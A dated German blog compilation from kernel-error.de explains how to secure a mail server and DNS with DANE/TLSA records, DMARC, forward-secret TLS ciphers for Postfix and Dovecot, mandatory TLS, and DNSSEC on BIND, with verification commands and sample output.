_465._tcp.smtp.kernel-error.de. 1H IN TLSA 3 1 1 8cb0fc6c527506a053f4f14c8464bebbd6dede2738d11468dd953d7d6a3021f1
```


Wie zu sehen ist biete ich den TLSA RECORD direkt für Port TCP 25 und TCP 465 an. Schnell nur noch testen ob der TLSA RECORD mit dig auch sauber abgefragt werden kann.


```generic
$ dig _25._tcp.smtp.kernel-error.de +dnssec +m

; > DiG 9.8.4-rpz2+rl005.12-P1 > _25._tcp.smtp.kernel-error.de +dnssec +m
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28381
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;_25._tcp.smtp.kernel-error.de. IN A

;; AUTHORITY SECTION:
kernel-error.de.        86400 IN SOA ns1.kernel-error.de. root.kernel-error.de. (
20140102708 ; serial
10000      ; refresh (2 hours 46 minutes 40 seconds)
1800       ; retry (30 minutes)
604800     ; expire (1 week)
86400      ; minimum (1 day)
)
kernel-error.de.        86400 IN RRSIG SOA 7 2 86400 20150511054702 (
20140516054702 38150 kernel-error.de.
QXUpVl3myVAUGn/ox8J5aihAySHdWpojyPuhV5QKgDUy
qYRPyryWyBoGG+x5cGs0JpPBqQA3lRovAM4JFvC3hRmO
FU3fVTiYlvAJK7WsTSgPJLYpXrBnS+NN0O2UW3W+Ru1K
2P5dj+BWNO1wqXs+VU7WpMPwq/ESlK88hxXE1Gc= )
_25._tcp.smtp.kernel-error.de. 86400 IN NSEC _465._tcp.smtp.kernel-error.de. RRSIG NSEC TLSA
_25._tcp.smtp.kernel-error.de. 86400 IN RRSIG NSEC 7 5 86400 20150511054702 (
20140516054702 38150 kernel-error.de.
ToC8GtXFenieGjA32eoHACNGCg+tFr05vz6w9yiHYrDj
rHGBabc7MMjqUWNsf7L059YhR7dLoAPqhy2ZThWqFbRD
ZsfPQSgHIazEuKvOE7i2Ee/znU2d57X8nVkp8scUKZ1R
kGdK5DUDlAcYn0YdpjYaUTn2STdbM9IDcdrASPE= )

;; Query time: 0 msec
;; SERVER: ::1#53(::1)
;; WHEN: Mo Jan 27 08:50:36 2014
;; MSG SIZE  rcvd: 506
```


Schon lässt sich im Postfix Logfile erkennen ob Verbindungen getraut wird oder nicht.


```generic
Jan 27 08:32:02 mailserver postfix/smtp[3779]: Verified TLS connection established to mx02.example.de[99.88.12.167]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jan 27 08:33:19 mailserver postfix/smtp[3779]: Untrusted TLS connection established to smtp2.example.de[2001:333:6661:99::34]:25: TLSv1 with cipher ADH-AES256-SHA (256/256 bits)
```


Wenn man mich fragt, ist die Kombination aus DNSSEC, DANE / TLSA deutlich besser als dieses hässliche EmiG. EmiG benötigt eine unnötig teure Zertifizierung durch den TüV, dieses kann sich nicht jeder leisten. Damit ist dieses "sichere" Verfahren fast nur durch Unternehmen zu realisieren die genug Kohle haben. Kleinere werden damit einfach abgehängt. Verfahren die Sicherheit nur für "reiche" zur Verfüfung stellen sollte man aus meiner Überzeugnung nicht unterstützen.


Eine weitere schnelle und einfache Möglichkeit seinen TLSA-RECORD des Mailservers / Postfix zu testen ist posttls-finger:


```generic
$ posttls-finger -t30 -T180 -c -L verbose,summary kernel-error.de
posttls-finger: initializing the client-side TLS engine
posttls-finger: using DANE RR: _25._tcp.smtp.kernel-error.de IN TLSA 1 0 1 94:C8:E1:BD:FF:F4:F6:D3:FE:C0:C4:E2:F2:62:93:D7:88:70:65:0B:FD:35:34:E7:7B:93:CD:AC:CB:77:EB:95
posttls-finger: setting up TLS connection to smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: TLS cipher list "aNULL:-aNULL:ALL:!EXPORT:!LOW:+RC4:@STRENGTH:!aNULL"
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Server CA
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Server CA
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=0 verify=1 subject=/description=y0xkuso3gx7t8h0o/C=DE/ST=Nordrhein-Westfalen/L=Sprockh\xF6vel/O=Sebastian Van De Meer/CN=smtp.kernel-error.de/emailAddress=postmaster@kernel-error.de
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=0 matched end entity certificate sha256 digest 94:C8:E1:BD:FF:F4:F6:D3:FE:C0:C4:E2:F2:62:93:D7:88:70:65:0B:FD:35:34:E7:7B:93:CD:AC:CB:77:EB:95
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: subject_CN=smtp.kernel-error.de, issuer_CN=StartCom Class 2 Primary Intermediate Server CA, fingerprint=E1:92:93:D4:CA:E9:5D:44:B5:CC:A4:15:1F:12:A6:E0:B5:C2:97:56, pkey_fingerprint=E9:84:8E:51:47:99:90:53:0B:2C:2E:1E:70:6E:DE:CA:A4:65:8A:C5
posttls-finger: Verified TLS connection established to smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
```


So bei Fragen, einfach fragen :-)


---


**09-08-2014 Update**


Ich habe zur Auswertung den Mailgraph etwas angepasst ( [mailgraph Graphen um DANE erweitern ](https://www.kernel-error.de/2014/08/09/mailgraph-graphen-um-dane-erweitern/)). Dieser wirft mir nun den unten stehenden Graphen für ausgehende Verbindungen raus.


---


## 26. DMARC: Domain-Based Message Authentication, Reporting & Conformance (DMARC) einrichten

**Veröffentlicht:** 2013-11-30
**Permalink:** https://www.kernel-error.de/2013/11/30/dmarc-domain-based-message-authentication-reporting-conformance/
**Description:** DMARC einrichten — Domain-based Message Authentication für E-Mail-Sicherheit mit Reporting und Conformance konfigurieren.

Habt ihr eigentlich schon etwas von [DMARC (Domain-based Message Authentication, Reporting & Conformance)](http://de.wikipedia.org/wiki/Dmarc) gehört? Nein... Dann dann haben wir das ja nun aufgeholt :-P


Im Grunde "erweitert" **DMARC** die beiden Systeme [SPF (Sender Policy Framework)](https://www.kernel-error.de/2010/03/17/spf/) und [DKIM (DomainKeys Identified Mail)](https://www.kernel-error.de/2010/03/11/dkim/). Warum und wie?!? Nun ja, beide Techniken sind erstmal ~nicht schlecht~. Setzt man sie ausgehend ein, fehlen dem Admin denn noch etwas die "Rückmeldungen". OK, wenn etwas schief geht, jammern die User. Setzt man sie eingehend ein, würde es hin und wieder helfen wenn der "Absender" einem etwas genauer sagen würde wie denn nun mit seinen Nachrichten umgegangen werden soll.


Hier springt nun DMAC -in die Bresche- (woher kommt eigentlich diese Redensart?). DMARC wird, wie bei SPF oder DKMI möglich, einfach als TXT-RECORD in der DNS Zone versenkt. Dort finden sich nun Informationen für den empfangenden Mailserver. Zum Beispiel kann angegeben werden wie viel Prozent der eingehenden E-Mails überhaupt gefiltert werden soll* (pct)*, wie hart bei Fehlern im SPF *(aspf)* und DKIM* (adkim)* umgegangen werden soll, wie mit E-Mails der Haupt- *(p)* oder Subdomänen* (sp)* umgegangen werden soll und was tierisch geil für den Admin des Absendenden E-Mail Systems ist.... An welche E-Mail Adresse ein forensischer (das Wort trifft es, ich finde es aber doof :-P) Bericht* (ruf)* und wohin eine tägliche Zusammenfassung* (rua)* gesendet werden soll.


Diese Berichte schlagen normalerweise als E-Mail mit einem komprimierten ZIP-File im Gebäck auf. In diesem ZIP-File steckt dann ein XML-File (*würk* XML.. für die Auswertung denn noch geil). Diese kann man nun auswerten. So kann der Admin des absendenden E-Mail Systems sehen wie gut oder schlecht seine Bemühungen greifen. Er wird schnell über Probleme informiert und kann erkennen ob und wie stark seine Domain gerade -missbraucht- wird.


Eine E-Mail mit ZIP-File lässt sich sehr einfach automatisch auspacken und die XML Datei wird dann von irgendeinem Stück Software gefressen. Heraus kommt ein täglicher Bericht für den Admin. Ok, man könnte es schön bunt machen, dann kann man es auch einer Krawatte zum klicken geben :-)


Klar muss der Empfänger es unterstützen, sonst bringt das alles nix. Aber jeder Absender, der bereits SPF und DKIM einsetzt, kann seinen DMARC Record schon mal erstellen, hm?


Ich probiere eine kurze Erklärung des DMARC TXT RECORDS an meinem...


```generic
_dmarc.kernel-error.de  IN TXT  "v=DMARC1; pct=100; rua=mailto:postmaster@kernel-error.de; ruf=mailto:postmaster@kernel-error.de; adkim=s; aspf=s; p=quarantine; sp=quarantine"
```


*_dmarc.* ==> ist halt der "Bezeichner"
*kernel-error.de* ==> japp die Domain
*IN TXT* ==> Internet und Text
*""* ==> Dazwischen ist der Text
*;* ==> Trennt die Optionen
*v=DMARC1* ==> Protokollversion, hier also 1
*pct=100* ==> 100% meiner vermeintlichen Nachrichten sollen gefiltert werden
*rua=mailto:postmaster@kernel-error.de* ==> Zusammenfassung geht an postmaster@kernel-error.de
*ruf=...* ==> der forensiche Bericht geht ebenfalls an den Postmaster
*adkim=s* ==> DKIM soll nicht relaxed *(r)* sondern strict *(s)* ausgewertet werden
*aspf=s* ==> auch strict
*p=quarantine* ==> Fehlgeschlagenes der Hauptdomäne sollen als SPAM markiert werden.
*sp=quarantine* ==> bei der Subdomäne auch.


Noch eine Kleinigkeit. Wenn man mehrere Domains betreut und die Berichte an eine zentrale E-Mail Adresse senden möchte dann muss man noch etwas beachten. Denn sollen die Berichte an eine E-Mail Adresse außerhalb der Domain des DMARC RECORDS gesendet werden, dann muss dieses in der Empfängerdomäne „erlaubt“ werden. Dieses geht über einen gesonderten TXT RECORD.


```generic
kernel-error.com._report._dmarc.kernel-error.de TXT "v=DMARC1"
```


Wenn man diesen RECORD als Beispiel nimmt, würde er in der Zone *kernel-error.DE* stehen. Damit würden die Berichte aus der Zone* kernel-error.COM* an die Adresse* xyz@kernel-error.de* zugestellt werden können.


Noch Fragen? Na dann fragen :-D


---


UPDATE 12.12.2013


Ok ok... da die Frage jetzt ein paar mal aufgekommen ist, wie ein solcher Report aussieht.... Hier ein Beispiel: [>> klick <<](https://www.kernel-error.de/download/google-kernel.xml)


Zur besseren Ansicht kann ich auch hier nur wieder auf [dmarcian.com](https://dmarcian.com/dmarc-xml/) verlinken. Hier gibt es einen XML du Human Konverter :-) 


Frage beantwortet?


---


## 27. Postfix und Dovecot mit Perfect Forward Secrecy (PFS)

**Veröffentlicht:** 2014-02-15
**Permalink:** https://www.kernel-error.de/2014/02/15/postfix-und-dovecot-mit-perfect-forward-secrecy-pfs/
**Description:** Postfix und Dovecot mit Perfect Forward Secrecy — PFS für verschlüsselte Mail-Kommunikation mit Ephemeral-Diffie-Hellman.

Um mit meinem privaten Mailsystem nicht nach zu stehen, habe ich mir heute (warum erst heute?!?) die „Mühe“ gemacht auf diesem PFS (Perfect Forward Secrecy) bei Postfix und Dovecot zu aktivieren.


Test gefällig? OK, openssl hilft natürlich wie immer:


Für Postfix:


```generic
$ openssl s_client -starttls smtp -connect smtp.kernel-error.de:25
$ openssl s_client -connect smtp.kernel-error.de:465
```


Für Dovecot:


```generic
$ openssl s_client -starttls imap -connect imap.kernel-error.de:143
$ openssl s_client -connect imap.kernel-error.de:993
```


Findet sich in der Ausgabe etwas wie:


```generic
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
```


Oder auch etwas wie:


```generic
Protocol : TLSv1.2
Cipher : DHE-RSA-AES256-GCM-SHA384
```


Dann ist alles wunderbar. Wie es zu aktivieren ist muss ich nicht weiter beschreiben, denn hier hat Heinleine wie so oft sehr gute Arbeit geleistet: [http://www.heinlein-support.de/blog/security/perfect-forward-secrecy-pfs-fur-postfix-und-dovecot/](http://www.heinlein-support.de/blog/security/perfect-forward-secrecy-pfs-fur-postfix-und-dovecot/)


Wenn ich das Thema nun in den Logfiles etwas beobachte sehe ich das der Android 4.3 / 4.4 standard Mailclient wohl gerne auf RC4 setzt: *TLSv1 with cipher RC4-MD5 (128/128 bits)*


Mein K9-Mail hingegen macht ganz brav: *TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)*


K-Mail auch...: *TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)*


 


Nun bleibt noch zu überlegen ob ich die möglichen Cipher etwas genauer „vorschreibe“, ähnlich wie schon beim Apache.... Ich überlege mal :-) Fertig überlegt, wie im Update zu sehen ist!


 


---


**U-P-D-A-T-E**


Da fällst du ja vom Glauben ab... Schreibe ich vor das für IMAP tatsächlich nur *DHE-RSA-AES256-GCM-SHA384* eingesetzt werden soll, dann macht dieses jeder krümelige Client welchem ich es zum Test zum Fressen gegeben habe. Nur einer nicht... Kommt ihr nie drauf! Das aktuell neuste und beste was Microsoft hinsichtlich E-Mail Client zu bieten hat. Genau **Microsoft Office Outlook 2013**. Der kann es einfach nicht O_o Ist das wirklich noch **Zufall**? Also das Outlook 2013 dieses nicht bringt und somit die große Möglichkeit besteht den verschlüsselten Datenstrom später mal zu entschlüsseln? Wie auch immer, ich habe nun meine Konfiguration für Dovecot um diese Zeile erweitert:


```generic
ssl_cipher_list = ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4
```


Damit ist es fürs Erste vertretbar... Oh ja, wenn ich schon dabei bin Microsoft hier etwas in Frage zu stellen. Dann muss ich natürlich bei **Google** gleich weiter machen! Denn der standard Mailclient, selbst beim neusten Android, sucht sich doch extrem häufig einen der schwächsten Chiper aus die angeboten werden. Sicher um CPU und oder Akku zu sparen, oder doch wieder nur **Zufall**?


Oh ja, Postfix sollte ja nicht nachstehen, daher wurde auch dort von mir etwas mehr vorgeschrieben. Folgende Zeilen erweitern nun die main.cf:


```generic
smtpd_tls_mandatory_protocols = SSLv3, TLSv1
smtpd_tls_mandatory_ciphers = ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4
```


Mal schauen welche Probleme sich mit dieser Konfiguration nun auftun :-)


---


## 28. E-Mails nur noch mit TLS: Transportverschlüsselung erzwingen

**Veröffentlicht:** 2019-04-10
**Permalink:** https://www.kernel-error.de/2019/04/10/keine-e-mail-mehr-ohne-tls-transportverschluesselung/
**Description:** Erfahre, wie du TLS-Transportverschlüsselung für E-Mails erzwingst, um die Sicherheit deiner Kommunikation zu gewährleisten. Praktische Anleitung für...

Eigentlich wollte ich erst im März 2020 so weit gehen und alle E-Mails abweisen, die nicht über einer brauchbare Transportverschlüsselung kommen... Nun sagt mir mein Monitoring, dass 97,32 % der E-Mails über eine Transportverschlüsselung eingeliefert werden. Fast alle wichtigen Großen bekommen es hin. Hier und da kann es ein Onlinebesteller oder eine Kiste aus Asien noch nicht, das ist dann aber für mich ok.


Da ich bei mir ebenfalls [MTA-STS](https://www.kernel-error.de/2019/03/25/postfix-mta-sts-resolver-fuer-freebsd-mit-logfile/) einsetze, Will ich ja absichtlich zu TLS zwingen. Mal sehen wie anstrengend die letzten knapp 3% E-Mails nun wirklich werden. Dieses betrifft nun nicht nur mich selbst sondern ebenfalls einige andere Nutzer meines des Mailsystems. Der Kreis ist dafür überschaubar und Sicherheit ist allen wichtiger als eine nicht bekommene E-Mail aus Asien. Zumindest in der Theorie ;-)


Wobei inzwischen die Benutzer meist eine "bessere" Transportverschlüsselung nutzen als einige Mailserver zur S2S Kommunikation.....


Vor kurzem bin ich in Kontakt mit jemandem von mail.de gekommen. Haben insg. einen wirklich sehr freundlichen und kompetenten Endruck bei mir hinterlassen. Wenn ich mal wieder um einen Rat zu Mailhosting vefragt werde, wird [mail.de](https://mail.de/) ganz vorne mit dabei in der Liste sein :-)


Warum jetzt [mail.de](https://mail.de/)? Nun sie haben ebenfalls vor einiger Zeit [TLSv1.3 eingeführt und dazu einen übersichtlicehen Graphen erstellt](https://mail.de/blog/2018-11-mailde-fuehrt-neues-verschluesselungsprotokoll-tls-13-ein/). Die meisten Clients spielen also auch dort schon >=TLSv1.2.


Bei Webseiten hat sich eine brauchbare Transportverschlüsselung inzwischen viel Weiter durchgesetzt. Ich denke daran waren der Druck der Browserhersteller sowie die einfachen Testmöglichkeiten durch Anbieter wie [Qualys](https://www.ssllabs.com/) stark beteiligt. Hätten nun also ein paar große internationale E-Mail Provider (?Google/Microsoft?) den Schneid ebenfalls eine Transportverschlüsselung zu erzwingen würde hier sicher schnell Bewegung in die Geschichte kommen. Da nicht mal Google bisher ihre [MTA-STS Policy "scharf"](https://aykevl.nl/apps/mta-sts/) geschaltet hat, wird es wohl so schnell nichts.


---


## 29. DNSSEC & DANE: TLS-Zertifikate mit TLSA-Records absichern

**Veröffentlicht:** 2013-08-10
**Permalink:** https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/
**Description:** So schützt du deine TLS-Zertifikate mit DNSSEC und DANE. Anleitung zur Erstellung und Prüfung von TLSA-Records für sichere Verbindungen.

Schon einige Zeit ist meine Domain per DNSSEC geschützt und der Zugriff ist ebenfalls per SSL/TLS möglich. Mit DANE (DNS-based Authentication of Named Entities) ist es jetzt möglich die eingesetzten X.509 Zertifikate bzw. deren Checksummen mit dem DNS „abzugleichen“.


Die Idee dahinter ist, das löchrige System der CAs (certificate authority oder certification authority) etwas sicherer zu machen / zu ersetzten.


Unterstützt ein Client, wie zum Beispiel ein Browser, DANE so kann er beim verschlüsselten Verbindungsaufbau mit einem Server (z.B.: Webserver). Prüfen ob die Checksumme des TLS Zertifikates mit der in der DNS Zone hinterlegten übereinstimmt. So kann man diesem Zertifikat „trauen“, selbst wenn es sich um ein selbst signiertes Zertifikat handelt oder das Root-Zertifikat der CA nicht in seinem Client enthalten ist.


Selbstverständlich wird damit nicht sichergestellt das die angegebene Person oder Organisation wirklich hinter dem Zertifikat steht. Hier hängt es dann wieder an der CA, der muss man zum einen selbst vertrauen und zum anderen sollte sie dafür sorgen dass niemand an ihre Zertifikate kommt. Nichts ist 100%tig sicher! Man kann nur versuchen dem absoluten Vertrauen so nahe wie möglich zu kommen. Daher ist es sehr angenehem wenn verschiedene Mechanismen ineinandergreifen und sich nach Möglichkeit auch gegenseitig prüfen.


Dabei sollte der Benutzer aber mit so wenig technischen Dingen gequält werden wie nur möglich. DNSSEC, DANE und TLS ist aus meiner Sicht im Moment eine recht gute Kombination. Wenn alles sauber im Client implementiert ist und die Admins ihre Arbeit gemacht haben, bekommt der Benutzer nur die Information: "Was du da gerade machst ist möglicherweise nicht der Server mit dem du sprechen wolltest. Lass es lieber!"


Klar steht und fällt am Ende alles mit dem Benutzer. Hier müssen die Benutzer geschult und aufgeklährt werden. Den technischen Hintergrund muss aber kein Anwender verstehen. 


Ich stehe ja auf so etwas. Daher habe ich es direkt bei mir implementiert.


Bind kann ab der Version 9.8.3 mit TLSA RECORDS umgehen:


#### SCHNIPP ####
Feature Changes


* BIND now recognizes the TLSA resource record type, created to
support IETF DANE (DNS-based Authentication of Named Entities)
[RT #28989]
#### SCHNAPP ####


Damit es einfacher wird bietet die Internet Society ([http://www.internetsociety.org/deploy360/resources/hashslinger-a-tool-for-creating-tlsa-records-for-dane/](http://www.internetsociety.org/deploy360/resources/hashslinger-a-tool-for-creating-tlsa-records-for-dane/)) ein Tool mit dem Namen Hash-slinger an. Dieses Tool unterstützt beim erstellen der TLSA-RECORDS und natürlich bei der Prüfung der DNS-RECORDS.


Für meine Hauptdomain findet sich folgender RECORD in der Zone:


```generic
_443._tcp.www.kernel-error.de. IN TLSA 3 0 1 a3218154fbaa792afba91075ea36b5ea6623d46766a10ff1d06e7de461f933f7
```


Geprüft wird dieser korrekt wie folgt, einmal für die IPv4 und einmal für die IPv6 Adresse:


```generic
$ ./tlsa -d -v www.kernel-error.de
Received the following record for name _443._tcp.www.kernel-error.de.:
Usage: 3 (End-Entity)
Selector: 0 (Certificate)
Matching Type: 1 (SHA-256)
Certificate for Association: a3218154fbaa792afba91075ea36b5ea6623d46766a10ff1d06e7de461f933f7
This record is valid (well-formed).
Attempting to verify the record with the TLS service...
Got the following IP: 212.23.142.146
SUCCESS (usage 3): The certificate offered by the server matches the TLSA record
The matched certificate has Subject: /description=3G0bqBiLJsg0y2nv/C=DE/ST=Nordrhein-Westfalen/L=Sprockh\xF6vel/O=Sebastian Van De Meer/CN=www.kernel-error.de/emailAddress=postmaster@kernel-error.de
Got the following IP: 2001:7d8:8001:100::dead:beef
SUCCESS (usage 3): The certificate offered by the server matches the TLSA record
The matched certificate has Subject: /description=3G0bqBiLJsg0y2nv/C=DE/ST=Nordrhein-Westfalen/L=Sprockh\xF6vel/O=Sebastian Van De Meer/CN=www.kernel-error.de/emailAddress=postmaster@kernel-error.de
```


Die gängigen Browser lassen sich bereits mit Plugins nachrüsten.


Spannende Infos zum Thema DANE gibt es hier:
[http://www.internetsociety.org/articles/dane-taking-tls-authentication-next-level-using-dnssec](http://www.internetsociety.org/articles/dane-taking-tls-authentication-next-level-using-dnssec)


Wer nur schnell und einfach die TLSA Records testen möchte, kann dieses hier tun: [http://check.sidnlabs.nl/dane/](http://check.sidnlabs.nl/dane/)


---


U-P-D-A-T-E 28.01.2014


Wie sich das Thema zusammen mit Postfix nutzen lässt um auch etwas gegen dieses hässliche EmiG (E-Mail made in Germany) zu tun ist hier zu finden: [https://www.kernel-error.de/kernel-error-blog/260-postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec](https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/)


---


U-P-D-A-T-E 09.08.2014


Ich habe den Mailgraph erweitert ( [mailgraph Graphen um DANE erweitern ](https://www.kernel-error.de/2014/08/09/mailgraph-graphen-um-dane-erweitern/)), damit er mir den unten stehenden Graphen erzeugt.


---


## 30. DNSSEC HowTo: Sicherheit für dein DNS-System

**Veröffentlicht:** 2010-11-17
**Permalink:** https://www.kernel-error.de/2010/11/17/mein-kleines-dnssec-howto/
**Description:** Lerne, wie du DNSSEC für dein DNS-System einrichtest, um die Sicherheit zu erhöhen und DNS-Spoofing zu verhindern. Ein einfaches HowTo für Administratoren.

Die Domain Name System Security Extensions (DNSSEC) sind eine Erweiterung des DNS, mit der Authentizität und Datenintegrität von DNS-Transaktionen gewährleistet werden. Ein DNS-Teilnehmer kann damit verifizieren, dass die durch den Server, mit dem er kommuniziert, gelieferten Zonendaten auch tatsächlich identisch mit denen sind, die der für die Zone autorisierte und die Zone signierende Server ausliefert. DNSSEC wurde als Mittel gegen Cache-Poisoning entwickelt, Serverauthentifizierung findet nicht statt. Wer jetzt noch genauere Informationen dazu haben möchte beginnt am besten [>>hier<<](https://de.wikipedia.org/wiki/DNSSEC)....


Was mich beim ersten Lesen eines Artikels zu DNSSEC etwas durcheinander gebracht hat, war dieses Umhergewerfe mit den Begriffen: KSK, ZSK, SEP, DNSKEY, RRSIG und DS... Daher versuche ich das mal kurz verständlich zu erklären, den im Grunde ist das alles total einfach!
Der *KSK (Key signing Key)* hat grob gesehen nur eine einzige Aufgabe. Er muss den *ZSK (Zone signing Key)* unterschreiben. Der KSK ist nämlich immer in der übergeordneten Zone hinterlegt (von *kernel-error.org* ist die übergeordnete Zone z.B.: *org*). Der ZSK hat auch nur eine Aufgabe, das unterschreiben der Zone.....
Es beginnt also alles mit dem KSK der Rootzone. Die Rootzone ist *"."*! Mal angenommen wir wollen nach *www.kernel-error.org* fragen. Dann geht es ganz oben los. Die Nameserver der Rootzone wissen welche Nameserver für die einzelnen *TLDs (Top level domains)* zuständig sind. Die Nameserver der TLDs wissen welche Nameserver für die einzelnen Unterdomains (z.B.: *kernel-error.org*) zuständig sind. Der Nameserver der Unterdomain kennt nun selbst die Adresse für *www.kernel-error.org* oder kann zumindest sagen welcher Nameserver für die Unterdomain *"www"* zuständig ist. Will ein Angreifer nun also dafür sorgen dass man mit seinem Browser beim Aufruf von *www.kernel-error.org* nicht auf meinem Webserver landet, sondern auf seinem (bei Banken hätte das ja was, oder?), dann hat er zwei *einfache* Möglichkeiten.


- Er antwortet auf die Anfrage des Clients (wer ist denn der für die Domain kernel-error.org zuständige Nameserver) mit seinem eigenen Nameserver. Somit fragt der Client immer den Nameserver des Angreifers, welcher mit den *falschen* Adressen antwortet.


- Er antwortet auf jede Anfrage des Clients (mit gefälschter Absenderkennung) schneller als der eigentlich zuständige DNS-Server und kann so falsche Informationen übermitteln.


Mal angenommen man würde nun auf DNSSEC setzten und jeder Nameserver würde seine Zone signieren. Woher wüsste man dann, dass die Antwort korrekt ist? Angreifer können genau so signierte Antworten schicken. Genau, man muss die Gültigkeit der Signatur prüfen. Genau dafür ist nun der KSK. Der KSK signiert die Zone und zusätzlich wird der KSK jeweils in der übergeordneten Zone bekannt gemacht. Die übergeordnete Zone wird mit dem ZSK signiert, welcher mit dem KSK der übergeordneten Zone unterschrieben wurde, dieser KSK ist natürlich wieder der Zone darüber bekannt.... Man kann also Stück für Stück nach oben gehen. Am Ende steht dann der KSK der Root-Zone. Die folgende Zeichnung soll das ganze noch verständlicher darstellen.


[[Bild: DNSSEC Vertrauenskette](https://www.kernel-error.de/wp-content/uploads/2010/11/vertrauenskette.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/vertrauenskette.jpg)


Sollte es jemandem denn noch nicht klar sein, helfe ich gerne weiter. [>>Einfach fragen<<](https://www.kernel-error.de/kontakt/)


Es sind leider noch lange nicht alle TLDs signiert bzw. haben DS-Records in den Root-Servern. Eine ganz nette Liste über bereits signierte TLDs findet sich hier: [https://www.tldwithdnssec.se/](https://www.tldwithdnssec.se/)
Unsere DENIC hat ein .de testbed eingerichtet. Die Jungs wollen Anfang 2011 aber auch loslegen. [Infos zum DENIC DNSSEC testbed gibt es hier.](https://www.kernel-error.de/wp-content/uploads/2010/11/vorgehensweise.txt)


Möchte man seine Domain per DNSSEC schützen muss natürlich als erstes der für die Domain zuständige DNS-Server DNSSEC unterstützen und es muss aktiviert sein. Klingt logisch, oder? Ich bin, unter anderem, ein Freund von Bind. Daher beschränke ich mich hier einfach mal auf diesen.... Ab ISC Bind 9.6.2 sind alle Tools und Funktionen wohl soweit ausgereift dass man es im Zusammenhang mit DNSSEC sauber nutzen kann!


DNSSEC schaltet man recht einfach im options-Block ein:


```generic
options {
........
dnssec-enable yes;
dnssec-validation yes;
........
};
```


Recursive DNS-Server benötigen natürlich noch den KSK der Rootzone. Diesen muss man als vertrauenswürdig einstufen. Am einfachsten bekommt man diesen mit folgendem Aufruf:


```generic
$ dig . dnskey | grep -w 257 > dnssec_root.key
```


Diesen legt man jetzt im trusted-keys Block ab:


```generic
trusted-keys {
. 257 3 8 "AwEAAagAIKlVZrpC6Ia7gEzahOR+9W29euxhJhVVLOyQbSEW0O8gcCjF FVQUTf6v58fLjwBd0YI0EzrAcQqBGCzh/RStIoO8g0NfnfL2MTJRkxoX bfDaUeVPQuYEhg37NZWAJQ9VnMVDxP/VHL496M/QZxkjf5/Efucp2gaD X6RS6CXpoY68LsvPVjR0ZSwzz1apAzvN9dlzEheX7ICJBBtuA6G3LQpz W5hOA2hzCTMjJPJ8LbqF6dsV6DoBQzgul0sGIcGOYl7OyQdXfZ57relS Qageu+ipAdTTJ25AsRTAoub8ONGcLmqrAmRLKBP1dfwhYB4N7knNnulq QxA+Uk1ihz0=";}; Um sicherzustellen das man auch den richtigen bekommen hat, erstellt man kurzerhand daraus einen DS-Record und vergleicht diesen... # dnssec-dsfromkey -2 dnssec_root.key

. IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32 F24E8FB5
```


Für die Integritätsprüfung dieses Schlüssels hat die ICANN mehrere Methoden spezifiziert. Dieses liest sich sehr gut [>>hier<<](https://data.iana.org/root-anchors/draft-icann-dnssec-trust-anchor.html).


Nun sollte man Bind neu starten, damit er die Änderungen übernimmt. Theoretisch ist Bind nun schon in der Lage mit DNSSEC umzugehen.


